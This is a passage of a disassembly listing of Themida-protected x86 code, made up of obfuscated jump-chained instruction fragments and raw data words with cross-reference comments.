dup(0FFh) ; --------------------------------------------------------------------------- loc_59FC83: ; CODE XREF: Themida_:005A4408j mov edi, esp add edi, 4 add edi, 4 jmp loc_599792 ; --------------------------------------------------------------------------- dw 3C89h dd 5E545624h, 641BE952h, 248BFFFFh, 0BB0F6624h, 0E99C2404h dd 0FFFF0DEBh ; --------------------------------------------------------------------------- loc_59FCB0: ; CODE XREF: Themida_:005A025Fj xor edx, 1B9C09Bh mov ebx, edx pop edx jmp loc_590A9B ; --------------------------------------------------------------------------- dw 0F75Ah dd 1149E9D2h, 0D0E9FFFFh, 55FFFF0Dh, 0C5815D54h, 4, 53AAE953h dd 3433FFFFh, 24343124h, 8B243433h, 48F2424h, 0F1F65C24h dd 0CCB60F66h, 64EA6866h, 240C8966h, 0C8B60F66h, 0E99C5166h dd 0FFFF0D97h dword_59FD04 dd 24048B66h, 55E78957h, 0FF1813E9h db 0FFh ; --------------------------------------------------------------------------- loc_59FD11: ; CODE XREF: Themida_:00599561j sub ebx, 83006C0h jmp loc_59BEFB ; --------------------------------------------------------------------------- dd 5C240487h, 0BF243C89h, 1CFB2D3Bh, 1572E9h db 0 ; --------------------------------------------------------------------------- loc_59FD2D: ; CODE XREF: Themida_:00595944j add ebx, 4 push ecx jmp loc_597EA3 ; --------------------------------------------------------------------------- db 0FEh, 0C0h, 2Ch dd 0C38853D4h, 0FFE9FDE9h db 0FFh ; --------------------------------------------------------------------------- loc_59FD45: ; CODE XREF: Themida_:0059ACD9j push ebp push dword ptr [esp+4] pop ebp jmp loc_59B88F ; --------------------------------------------------------------------------- dd 0E889F589h, 3E95E5Dh, 87FFFFB2h, 575C240Ch, 87647EBFh dd 0E7C14707h, 89E78108h, 505CE374h, 164B60B8h, 6C6B3503h dd 0C8E9112Eh, 56FFFFA8h, 0C9B2B5BEh, 10C3819Eh, 165FC60h dd 10EB81F3h, 8B65FC60h, 0C4812434h, 4, 0FFAD22E9h db 0FFh ; --------------------------------------------------------------------------- loc_59FDA1: ; CODE XREF: Themida_:0059426Fj neg esi jmp loc_5923A5 ; --------------------------------------------------------------------------- dd 4C381h, 0E9500000h, 0FFFF2147h, 478CC781h, 34FF1604h dd 89515824h, 4C181E1h, 57000000h, 0C59B1BFh, 0F7E7D10Fh dd 0FDCF81DFh, 0C1447839h, 0EF8108EFh, 61322A36h, 5323E951h dd 0C1380000h, 0CADE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59FDEE: ; CODE XREF: Themida_:0059FFA2j sub ebp, 11B72D4h add ebp, edx jmp loc_597375 ; --------------------------------------------------------------------------- db 81h dd 0A08444F2h, 233FE94Ah, 43680000h, 8900002Bh, 0BF572414h dd 1D3C181Fh, 295FFA89h, 0C3815AD3h, 5246AEAh, 0FF87A5E9h db 0FFh ; --------------------------------------------------------------------------- loc_59FE25: ; CODE XREF: Themida_:005982C8j push esi jmp loc_59A7B1 ; --------------------------------------------------------------------------- loc_59FE2B: ; CODE XREF: Themida_:005928C9j pop esi pop dword ptr [esp] pop esp push 2958h mov [esp], esi push 42Ch mov [esp], edx push 3EBC41B5h pop edx push 2131h mov [esp], ecx sub esp, 4 jmp loc_5A2069 ; --------------------------------------------------------------------------- dw 405h dd 87000000h, 0EEE92404h, 0BBFFFF2Ah, 0F869E22Eh, 15BDD01h dd 0A3E95DE8h, 81FFFF3Dh, 623B74EEh, 0D0BAE918h, 565BFFFFh dd 2BEh, 0E9F10100h, 0FFFF9F1Ch, 0BFF6815Eh, 810A0D64h dd 0F83E09CEh, 3FE95345h, 5E000052h, 0FF9DFFE9h, 2434FFFFh dd 5D54555Fh, 4C581h, 0D1E90000h, 81FFFFCBh, 142224C6h dd 81EE0100h, 142224EEh, 0B1E95D00h, 0F7FFFF72h, 4F281D2h dd 0E9A62190h, 0FFFF510Fh, 51242C8Bh, 0E902E954h, 4CFEFFFFh dd 58660124h, 8B66E188h, 0C4832404h, 0BBE98002h, 0E994E980h dd 0FFFF4678h, 0CE9D3F7h db 0C8h, 2 dup(0FFh) byte_59FF03 db 66h ; DATA XREF: Themida_:0059095Co dd 5224048Bh, 0FF765AE9h db 0FFh ; --------------------------------------------------------------------------- loc_59FF0D: ; CODE XREF: Themida_:0059944Ej shl edx, 1 push dword ptr [edi+24h] push edx sub esp, 4 jmp loc_59A5C1 ; --------------------------------------------------------------------------- db 50h dd 7B253BB8h, 58C10141h, 2D59C801h, 2AE14CADh, 0FF9FD1E9h dd 243489FFh, 430BCCBEh, 4C45E92Eh, 0DE29FFFFh, 2FAAE95Bh dd 14330000h, 24143124h, 0FFC26BE9h db 0FFh ; --------------------------------------------------------------------------- loc_59FF51: ; CODE XREF: Themida_:00598347j mov bl, 45h or bl, 0BBh shr bl, 4 push ax jmp loc_5A004E ; --------------------------------------------------------------------------- loc_59FF60: ; CODE XREF: Themida_:00592D5Aj add esi, 4 xchg esi, [esp] jmp loc_599CAA ; --------------------------------------------------------------------------- dw 0E956h dd 0FFFFAE90h, 8E9F131h, 89FFFFEBh, 4C681E6h, 55000000h dd 4BDh, 1EC68100h, 1068D1Eh, 1EEE81EEh, 0E9068D1Eh, 0FFFFFF3Ch ; --------------------------------------------------------------------------- loc_59FF9C: ; CODE XREF: Themida_:00593712j push edx mov edx, 1 jmp loc_59FDEE ; --------------------------------------------------------------------------- db 0BFh dd 2, 15FFE89h, 24348BF5h, 4C481h, 2C330000h, 242C3124h dd 5C242C33h, 6C5F68h, 9DACE900h, 0F680FFFFh, 0BAC680A0h dd 0C680CEFEh, 398EE91Bh, 2C310000h, 60F7E924h, 0C481FFFFh dd 4, 0FF69D7E9h, 3B0DBFFFh, 0FD01781Fh, 56DD295Fh, 0FF6424E9h dd 0C8B5BFFh, 4C48124h, 83000000h, 1C8904ECh, 88E78824h dd 8B585BFAh, 0C483241Ch, 0E9138804h, 0FFFF1D29h, 4D05055Dh dd 0D829115Dh, 0FFC76DE9h, 81465EFFh, 0D4A2EC6h, 90EE8126h dd 0E93B423Fh, 3E3Bh, 0C8568h, 0D616E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A004E: ; CODE XREF: Themida_:0059FF5Bj mov al, 0C4h sub bl, al pop ax not bl xor bl, 8Eh mov dl, bl jmp loc_5A4A10 ; --------------------------------------------------------------------------- loc_5A0060: ; CODE XREF: Themida_:005A3193j push ebx mov ebx, 4 jmp loc_59BA0A ; --------------------------------------------------------------------------- db 52h dd 0C2815A54h, 4, 4C281h, 14870000h, 0FF575C24h, 5F042474h dd 0FF52DCE9h, 4C481FFh, 8B000000h, 0C483241Ch, 0E516804h dd 0C890000h, 6B25224h, 0E95AD588h, 337h ; --------------------------------------------------------------------------- loc_5A00A8: ; CODE XREF: Themida_:00596145j mov [esp], eax push ecx mov ecx, 3A253CDBh sub ecx, 5760E5Dh add ecx, 230A1BB2h push ecx xor dword ptr [esp], 184D4DACh pop eax push 1369h mov [esp], esi mov esi, 184D4DACh jmp loc_5A48E0 ; --------------------------------------------------------------------------- loc_5A00D8: ; CODE XREF: Themida_:0059D38Bj mov edi, [esp] sub esp, 4 mov [esp], eax push esp jmp loc_5A27B9 ; --------------------------------------------------------------------------- db 58h dd 405h, 2CE95700h, 8FFFFF30h, 4832404h, 0E9580424h, 0FFFF0D17h dd 48BDE95Bh, 0F42D0000h, 6804471Bh, 48CAh, 0E9241489h dd 3E1Fh, 0E99FB353h, 0FFFF1D1Fh, 0EB81D301h, 4CD82756h dd 15F7E95Ah, 0D589FFFFh, 302EE9h, 0C6815800h, 4, 31243433h dd 34332434h, 430CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A014A: ; CODE XREF: Themida_:00590E97j inc dword ptr [esp] pop eax sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], edx mov edx, 47600014h and edx, 28AB18CFh add edx, 21ED4180h shr edx, 7 inc edx sub edx, 0EA30FFA6h jmp loc_59DF29 ; --------------------------------------------------------------------------- loc_5A0180: ; CODE XREF: Themida_:00590E70j sub esi, offset sub_42447C add ebp, esi pop esi push 6A5Ah mov [esp], ebp push dword ptr [esp+4] jmp loc_59CD80 ; --------------------------------------------------------------------------- loc_5A019A: ; CODE XREF: Themida_:005945BCj add esi, 0D46D5410h sub esi, 6B691968h not esi jmp loc_5A0E43 ; --------------------------------------------------------------------------- db 81h, 0EAh, 4 dd 87000000h, 895C2414h, 0E6892434h, 4C681h, 0AE90000h db 4Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A01C7: ; CODE XREF: Themida_:00590FB9j add edi, 4 add edi, 4 xchg edi, [esp] pop esp push ebx mov ebx, 4 add ecx, 509D4593h jmp loc_5962DE ; --------------------------------------------------------------------------- db 0BDh, 94h, 67h dd 0EA213576h, 0E9DAF75Dh, 0FFFFB02Dh ; --------------------------------------------------------------------------- loc_5A01F4: ; CODE XREF: Themida_:005972B9j mov cl, dh pop edx push eax mov al, cl jmp loc_59A85F ; --------------------------------------------------------------------------- db 5 dd 36590F64h, 642DC829h, 2D36590Fh, 4A4233DDh, 592434FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5A3FB4 ; --------------------------------------------------------------------------- dd 87DAE951h db 2 dup(0FFh) word_5A0222 dw 30ACh ; DATA XREF: Themida_:005908C4o dd 109868D8h, 0F4E90000h, 2D000004h, 1F8D0E33h, 48BC289h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, 9C32084h add edx, 0FFFFFFFFh dec edx xor edx, 9C32086h add ebp, edx pop edx add ebp, 4 xchg ebp, [esp] pop esp sub edx, 1031625Bh shr edx, 3 jmp loc_59FCB0 ; --------------------------------------------------------------------------- dd 0E981D1F7h, 8EE7891Bh, 8159CE09h, 1E35F4CEh, 0F5F6816Fh dd 0E9498F50h, 0FFFF30E8h, 4EC81h, 24890000h, 24048124h dd 4, 4BE565Dh, 52000000h, 705EDBBAh, 8BD50179h, 0C4832414h dd 0C3B6E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A02AA: ; CODE XREF: Themida_:00591B5Ej push edi mov edi, 525C3E7Ch or edi, 21616871h jmp loc_5A2782 ; --------------------------------------------------------------------------- db 87h dd 45C243Ch, 2CF028EFh, 3BBFE9EFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A02CA: ; CODE XREF: Themida_:005A07BDj not ebx xchg ebx, ebp xchg ebx, ebp push ebx push edi pop ebx pop edi push 426Eh mov [esp], edi dec dword ptr [esp] not dword ptr [esp] jmp loc_59A6EE ; --------------------------------------------------------------------------- db 58h dd 6ACCBF57h, 5DE93E33h, 81FFFFA1h, 0E0162DC5h, 5DEA0105h dd 1B5C281h, 0E95010B7h, 0FFFFB943h, 0C281E289h, 4, 3304C283h dd 14312414h, 24143324h, 66F6815Ch, 8B3D4F3Ah, 0C481243Ch dd 4, 0FF2F43E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A0331: ; CODE XREF: Themida_:005984D6j add esp, 4 push edi jmp loc_59365F ; --------------------------------------------------------------------------- loc_5A033A: ; CODE XREF: Themida_:0059D0D3j add esp, 4 jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A0342: ; CODE XREF: Themida_:0059670Bj mov ecx, [esp] jmp loc_594FDC ; --------------------------------------------------------------------------- loc_5A034A: ; CODE XREF: Themida_:0059C5BFj xchg edx, [esp] pop esp add esp, 4 jmp loc_594AE5 ; --------------------------------------------------------------------------- word_5A0356 dw 77FFh ; DATA XREF: Themida_:00590A2Co dd 73DE92Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A035E: ; CODE XREF: Themida_:0059ED15j and eax, ebp push dword ptr [esp] pop ebp add esp, 4 or eax, eax jz loc_5A19A0 push dword ptr [edi+1Ch] push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5A43B5 ; --------------------------------------------------------------------------- loc_5A038F: ; CODE XREF: Themida_:00599286j push edi jmp loc_59F860 ; --------------------------------------------------------------------------- db 54h, 5Dh, 53h dd 0C381E389h, 4, 4EB81h, 1C870000h, 60E95C24h, 5FFFF18h dd 4, 6A7868h, 243C8900h, 8904EC83h, 5BBB241Ch, 81732C41h dd 570984C3h, 2452E95Bh, 0C7B0FFFFh, 50C28852h, 9E9D488h dd 2C000053h, 51E82889h, 0B0E989B1h, 5EFFFFF2h, 57242C8Bh dd 0C781E789h, 4, 4C781h, 3C870000h, 0EE835C24h, 4312E9FFh dd 0EC81FFFFh, 4, 0BD242C89h, 7DB31DE3h, 3B48CD81h, 0E9534CA1h dd 572Bh ; --------------------------------------------------------------------------- loc_5A0424: ; CODE XREF: Themida_:0059549Cj xchg ebp, [esp] mov esp, [esp] shr ecx, 0Bh push edi mov edi, ebx jmp loc_5A2847 ; --------------------------------------------------------------------------- db 68h, 0F8h, 7Bh dd 24890000h, 24048124h, 4, 0E924048Fh, 0FFFF852Fh, 0CBEBE95Fh dd 0BD55FFFFh, 4, 335DEF01h, 0E2E9243Ch db 41h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0463: ; CODE XREF: Themida_:0059A820j sub [esp+0Ch], eax pop eax pop ecx jmp loc_5A571C ; --------------------------------------------------------------------------- dw 2489h dd 24048324h, 14E95804h, 29FFFF2Ch, 0E908245Ch, 0FFFFE703h dd 0E9240487h, 39D3h, 240C8B5Bh, 4C481h, 4B590000h, 39F8EB81h dd 0DA01FFFDh, 2414875Bh, 0E201E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A04AA: ; CODE XREF: Themida_:0059D6DFj pop ecx xchg ebp, [esp] pop esp pop eax sub edi, ebp pop ebp push edi sub dword ptr [esp], 20A273ACh jmp loc_59D878 ; --------------------------------------------------------------------------- dd 515C681h, 875D6C93h, 248B2434h, 0BB0F6624h, 0E99C2404h dd 0FFFF05C3h, 0DFF7DFF7h, 0E907EFC1h, 0FFFF53F7h ; --------------------------------------------------------------------------- loc_5A04E4: ; CODE XREF: Themida_:005A47F1j or eax, 796F558Ch shr eax, 3 jmp loc_59111B ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 2434FF54h db 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_598931 ; --------------------------------------------------------------------------- db 51h dd 0FFE604E9h, 81E389FFh, 4C3h, 4C38100h, 33000000h, 1C31241Ch dd 241C3324h, 0E089505Ch, 405h, 4E88300h, 5C240487h, 0BE243489h dd 4, 335EF301h, 1C31241Ch, 241C3324h, 2434FF5Ch, 26536859h dd 2C890000h, 0F6E95424h db 33h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A055B: ; CODE XREF: Themida_:005A3C75j sub esi, 5BFF4A4Fh add esi, ecx jmp loc_59C098 ; --------------------------------------------------------------------------- dd 4EC8157h, 0E9000000h, 0FFFF4FABh, 5C240C87h, 0E9CF3166h dd 0FFFFC16Fh, 4C481h, 4810000h, 0B45DA824h, 24040135h dd 0A8242C81h, 0E935B45Dh, 0FFFF18B8h, 9685553h, 5D1B7416h dd 3B3ACD81h, 0EDC12CF0h, 0C9F58103h, 893DB897h, 0E9555DEBh dd 0FFFFB5EAh ; --------------------------------------------------------------------------- loc_5A05BC: ; CODE XREF: Themida_:005A5041j sub esi, edx add esi, 40BA7780h pop edx xchg esi, [esp] pop esp mov [esp], esi mov esi, ebx push esi pop ecx mov esi, [esp] jmp loc_59ADF4 ; --------------------------------------------------------------------------- dd 0FFF7315Fh, 835E2434h, 0E94704C4h, 0FFFF62D4h, 4C681h db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_59AE6F ; --------------------------------------------------------------------------- dw 4505h dd 810B890Ah, 0FB111BEBh, 57C30174h, 1036C1BFh, 56DFF74Ah dd 0F4B824BEh, 8BF72940h, 0C4832434h, 5FFB0104h, 8324048Bh dd 555204C4h, 972C6DBDh, 5DEA8963h, 289CE9h db 0 ; --------------------------------------------------------------------------- loc_5A0641: ; CODE XREF: Themida_:00598E24j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_59D108 ; --------------------------------------------------------------------------- db 50h, 0E9h, 0Ah dd 56FFFFBFh, 0DE1436BEh, 4E6C16Fh, 0FFEABFE9h, 96E955FFh dd 0BFFFFFA6h, 4, 835FF801h, 43302C0h, 24043124h, 5C240433h dd 24048B66h, 8904EC83h, 0E189240Ch, 4C181h, 69E90000h dd 87FFFF29h, 2FB1E9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A06A6: ; CODE XREF: Themida_:0059BCDCj pop ebp sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov [esp], edx mov edx, esp add edx, 4 push edi mov edi, 4 jmp loc_5939F9 ; --------------------------------------------------------------------------- loc_5A06CA: ; CODE XREF: Themida_:0059AA7Cj mov ebx, eax push 4220h mov [esp], ebp jmp loc_593669 ; --------------------------------------------------------------------------- loc_5A06D9: ; CODE XREF: Themida_:00597343j add esp, 4 pop dword ptr [esp] mov esp, [esp] or edx, eax shl edx, 1 push 3B92h jmp loc_595644 ; --------------------------------------------------------------------------- dd 348BF731h, 4C48124h, 55000000h, 4B7BC3BDh, 47F5811Dh dd 0E97D7B3Ah, 0FFFF6DF9h, 942B4B9h, 244C2904h, 0E9E95908h dd 83FFFFDAh, 0B6E904C4h, 89FFFFDBh, 0D3B1240Ch, 0D986C9FEh dd 0D7E9D3F6h, 83FFFF68h, 0C8904ECh, 0BA53E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A073E: ; CODE XREF: Themida_:0059502Bj mov esp, [esp] or eax, eax jz loc_596E09 push dword ptr [edi+1Ch] jmp loc_59A7E5 ; --------------------------------------------------------------------------- db 0F7h, 0DAh, 81h dd 26479FC2h, 5AD3015Ch, 83240C8Bh, 685E04C4h, 56F3h, 0BE243489h dd 38BD3736h, 295EF301h, 36EB81C3h, 5238BD37h, 101D75BAh dd 5AD30120h, 5F6E9h db 0 byte_5A0789 db 0ADh, 51h, 0B9h ; DATA XREF: Themida_:00590810o dd 34D26FF6h, 8703E1C1h, 87D6F7F1h, 18C368F1h, 78E90000h db 48h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A07A3: ; CODE XREF: Themida_:00596B45j xor ecx, 749A2E8Ch add ecx, 7EEB42BFh xor eax, ecx pop ecx xor ebp, eax pop eax mov esi, [esp] add esp, 4 xchg ebx, ebp jmp loc_5A02CA ; --------------------------------------------------------------------------- dw 505Ch dd 0BD55E089h, 7961DD6h, 0F691E953h, 405FFFFh, 0E9000000h dd 0FFFF67EDh, 144DB951h, 0F1815445h, 7B7A008Ah, 3CE98149h dd 0F71A5964h, 0FCC981D9h, 816B1B6Fh, 51E2F2C1h, 59CA89D7h dd 0C15AD301h, 0E3C106EBh, 2F38107h, 813D06AAh, 600189EAh dd 81DA0155h, 600189C2h, 14335B55h, 24143124h, 0E9241433h dd 0FFFF72D8h dword_5A082C dd 8B2434FFh, 0C481240Ch, 4, 676468h, 24148900h, 0FFB346E9h ; DATA XREF: Themida_:00590960o dd 673BDFFh, 0F5811625h, 4CC104E5h, 17B0B951h, 0CD091CD9h dd 0FFD2FFE9h db 0FFh byte_5A085D db 0ACh, 2Ch, 0E9h ; DATA XREF: Themida_:00590A3Co dd 0B551D800h, 20ED8043h, 0FF2089E9h, 240489FFh, 0FF7C1EE9h dd 0FBE959FFh db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A087B: ; CODE XREF: Themida_:0059E099j mov [esp], ebx jmp loc_5A1B15 ; --------------------------------------------------------------------------- loc_5A0883: ; CODE XREF: Themida_:005A12BEj pop esi jmp loc_591FE1 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 4A30F66h, 4E99C24h db 2, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0897: ; CODE XREF: Themida_:005923B8j push esp mov esi, [esp] add esp, 4 add esi, 4 push edx jmp loc_5A5036 ; --------------------------------------------------------------------------- db 59h, 56h, 89h dd 4C681E6h, 81000000h, 4C6h, 24348700h, 2434FF5Ch, 5B2434FFh dd 0E9E18951h, 0FFFFC9CCh ; --------------------------------------------------------------------------- loc_5A08D0: ; CODE XREF: Themida_:005A34CDj add eax, ebx pop ebx sub eax, ebp jmp loc_5A1BC9 ; --------------------------------------------------------------------------- dw 575Bh dd 12F668h, 24148900h, 0F17C4368h, 0E21DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A08EE: ; CODE XREF: Themida_:005A1D70j add ebp, 4 push 4E5Ch mov [esp], esi sub esp, 4 mov [esp], edx mov edx, 42C72487h mov esi, 0BD38DB7Dh jmp loc_59D265 ; --------------------------------------------------------------------------- dd 8B240433h, 0F662424h, 9C2404ABh, 0FF0176E9h, 240489FFh dd 4A4DE955h, 3C89FFFFh, 0AC00E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_59EDB0 ; --------------------------------------------------------------------------- byte_5A094D db 66h, 8Bh, 4 ; DATA XREF: Themida_:005908E4o aHf_0 db '$hä)',0 align 2 dw 1C89h dd 34FF5424h, 2434FF24h, 5D54555Bh, 4BA52h, 0D5010000h dd 4C5835Ah, 5C242C87h, 2919E9h, 0F657B400h, 0D0EC80D4h dd 48BE230h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add al, 4Dh sub al, 0EFh sub al, dl add al, 0EFh sub al, 4Dh pop edx push edx push cx mov ch, 39h push eax mov ah, ch mov dh, ah jmp loc_59E750 ; --------------------------------------------------------------------------- dw 5453h dd 0E92434FFh, 0FFFFD10Bh, 1FEEE955h, 0CF810000h, 7BA00C01h dd 9602EF81h, 0B2E98AB3h, 89000004h, 4832424h, 515B0424h dd 4B9h, 0E4FE900h, 1590000h, 58082444h, 592434FFh, 4C481h dd 555A0000h, 0FF4276E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A09FD: ; CODE XREF: Themida_:0059A5D6j mov [esp], eax mov eax, 78146437h jmp loc_59400F ; --------------------------------------------------------------------------- loc_5A0A0A: ; CODE XREF: Themida_:00590A9Fj mov [esp], edi push esp push dword ptr [esp] pop edi jmp loc_59390B ; --------------------------------------------------------------------------- db 89h dd 1BA2414h, 29000000h, 6FFE9D5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0A26: ; CODE XREF: Themida_:00596F9Aj mov ebx, 20h jmp loc_59BC23 ; --------------------------------------------------------------------------- dd 30A7E954h, 0EA81FFFFh, 0A3428953h, 835AD601h, 348704EEh dd 2771E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A0A4A: ; CODE XREF: Themida_:00599BF1j push ecx push edi mov edi, 54A925ABh xor edi, 5F8871A5h shr edi, 4 not edi sub edi, 9BCFC287h mov ecx, edi mov edi, [esp] add esp, 4 push edi mov edi, 4F0A74A1h shl edi, 2 shr edi, 5 jmp loc_5A108B ; --------------------------------------------------------------------------- loc_5A0A7E: ; CODE XREF: Themida_:0059D375j add eax, 6ECA5173h mov ecx, [esp] add esp, 4 push ebx mov ebx, 3EDC7341h add eax, ebx pop ebx jmp loc_59AC41 ; --------------------------------------------------------------------------- db 89h dd 38682404h, 89000060h, 0BF57240Ch, 66053763h, 7307C781h dd 0E7C16927h, 0FAF78107h, 81631D4Eh, 9D48ACE7h, 5E7C132h dd 126DF781h, 0F989617Fh, 0AC1815Fh, 3110931Fh, 8B04244Ch dd 86E9240Ch db 5Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0ADB: ; CODE XREF: Themida_:005A2485j neg ah jmp loc_5A463D ; --------------------------------------------------------------------------- dw 0D59h dd 1AE26959h, 0FFAB70E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A0AED: ; CODE XREF: Themida_:0059EBC4j pop edi and edx, ebx pop ebx shr edx, 1 jmp loc_5A5416 ; --------------------------------------------------------------------------- dword_5A0AF8 dd 0FF2434FFh, 83582434h, 27E904C4h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0B07: ; CODE XREF: Themida_:0059229Dj xor ecx, ebx jmp loc_5A2097 ; --------------------------------------------------------------------------- dw 0FE01h aBuzoQ_qsz db 'î‡oÁQ_Qé§',0 align 4 db 0 ; --------------------------------------------------------------------------- loc_5A0B1D: ; CODE XREF: Themida_:0059B48Aj pop esp jmp loc_5999B2 ; --------------------------------------------------------------------------- byte_5A0B23 db 66h ; DATA XREF: Themida_:0059088Co dd 68240C8Bh, 0B68h, 83243489h, 0BAE904ECh, 5DFFFF65h dd 7B9C68h, 24348900h, 8B2434FFh, 5453243Ch, 69E9505Bh dd 58FFFFD7h, 1C16C781h, 0F82926C6h, 242C8B5Fh, 0E904C483h dd 0FFFF80F2h, 56240489h, 0B341F0BEh, 0CFA4E910h, 768FFFFh dd 8900004Fh, 4BE2434h, 1000000h, 0EF2DE9F2h, 3C89FFFFh dd 290BF24h, 0D7F70315h, 6290E781h, 0DFF7726Bh, 8105E7C1h dd 81FA00EFh, 8BF9299Bh, 0C483243Ch, 0FEBD5504h, 814ABB31h dd 0D02B3EEDh, 81EDD17Eh, 69E5F2F5h, 0E9E92143h, 0FFFF79D8h dd 4BB53h, 59530000h, 1288E9h db 0 ; --------------------------------------------------------------------------- loc_5A0BD1: ; CODE XREF: Themida_:00595C10j or ecx, eax pop eax push ecx jmp loc_5A2078 ; --------------------------------------------------------------------------- dw 835Ch dd 0BA5204C4h, 2, 535AD301h, 42474FFh, 0E9241C8Bh, 0FFFF2FC0h dd 0E50B68B9h, 1D85E97Bh, 0BD55FFFFh, 2AFD6B59h, 5E5C145h dd 908BF57h, 0FD314139h, 8E5C15Fh, 3A83C581h, 0E95135EFh dd 0FFFF9AABh ; --------------------------------------------------------------------------- loc_5A0C20: ; CODE XREF: Themida_:0059AE49j pop edi jmp loc_59A38C ; --------------------------------------------------------------------------- dw 0EF80h dd 95F780F6h, 0B5A0C780h, 5BFD30AFh, 5966EB00h, 77E95166h dd 80FFFF3Eh, 0DA8879F3h, 3138E95Bh, 89560000h, 4C681E6h dd 81000000h, 4C6h, 24348700h, 0FE42E95Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A0C62: ; CODE XREF: Themida_:00593A8Dj mov esi, esp push edi mov edi, 4 jmp loc_599E2A ; --------------------------------------------------------------------------- db 89h dd 8CAE9D1h, 0FF5BFFFFh, 34FF2434h, 0C4815A24h, 4, 4EC81h dd 2C890000h, 99E95424h db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0C93: ; CODE XREF: Themida_:0059E656j mov ebx, edi push dword ptr [esp] pop edi add esp, 4 add dword ptr [esp+4], 39880D71h jmp loc_590E1F ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 48F5A04h, 0F1E95C24h, 81FFFFBDh, 966B1BEAh, 3FF1E924h dd 0DD880000h, 0FFB6BCE9h, 0E28952FFh, 4C281h, 0EA810000h dd 4, 5C241487h, 0FF388BE9h, 24048FFFh, 0D1F7CA87h, 9868CA87h dd 8900005Dh, 74FF2414h, 148B0424h, 0E3895324h, 4D43BF57h dd 0DFF722A0h, 0ECDF781h, 814F3F02h, 0A24395C7h, 0C6C3E91Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0D16: ; CODE XREF: Themida_:00591FB7j add esp, 4 shr eax, 10h xor eax, ecx xor eax, esi xor esi, eax xor eax, esi jmp loc_59D239 ; --------------------------------------------------------------------------- loc_5A0D29: ; CODE XREF: Themida_:005A36F8j mov [esp], eax push edi push eax push ebp push 6E643985h pop ebp neg ebp xor ebp, 0D6BCCC7Ch mov eax, ebp pop ebp mov edi, eax pop eax neg edi add edi, 1 shl edi, 7 not edi or edi, 6F822015h jmp loc_59B3A7 ; --------------------------------------------------------------------------- loc_5A0D58: ; CODE XREF: Themida_:00597EF0j push ebp mov ebp, 5017518Ah push ebp push 6A7904CAh pop ebp jmp loc_5A3C43 ; --------------------------------------------------------------------------- loc_5A0D6A: ; CODE XREF: Themida_:0059B4EDj push edx mov edx, esp add edx, 4 jmp loc_5957A3 ; --------------------------------------------------------------------------- loc_5A0D78: ; CODE XREF: Themida_:0059D69Fj add eax, ebx jmp loc_5949B8 ; --------------------------------------------------------------------------- db 68h dd 7AA3h, 0FF12E0E9h, 54515CFFh, 4BD5559h, 81000000h, 0CA078DC1h dd 1FC18106h, 146D70Ch, 4AE950E9h, 0FFFFFF31h, 8B042474h dd 0C483243Ch, 24048F04h, 4E0CE95Ch, 7BB9FFFFh, 0E9FB2C8Eh dd 0A1Fh dword_5A0DC4 dd 24048B66h, 81E68956h, 4C6h, 0AAEAE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0DD6: ; CODE XREF: Themida_:0059850Aj push edx mov edx, esp sub esp, 4 jmp loc_597526 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd offset dword_455248+1C8A1h dd 24448100h, 0EA58E504h, 24048B72h, 0FFF787E9h, 24048FFFh dd 315AE9h, 242C8B00h, 0FEFF09E9h, 2434FFFFh, 0FF2434FFh dd 53582434h, 0C3815B54h, 4, 71D5E956h, 0C87FFFFh, 0C4835C24h dd 4C48104h, 66000000h, 66335B68h, 53241489h, 0DE883EB3h dd 64E9525Bh db 1Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0E43: ; CODE XREF: Themida_:005A01A8j and esi, 4FEF7BC8h and esi, 67636DD2h jmp loc_59F121 ; --------------------------------------------------------------------------- loc_5A0E54: ; 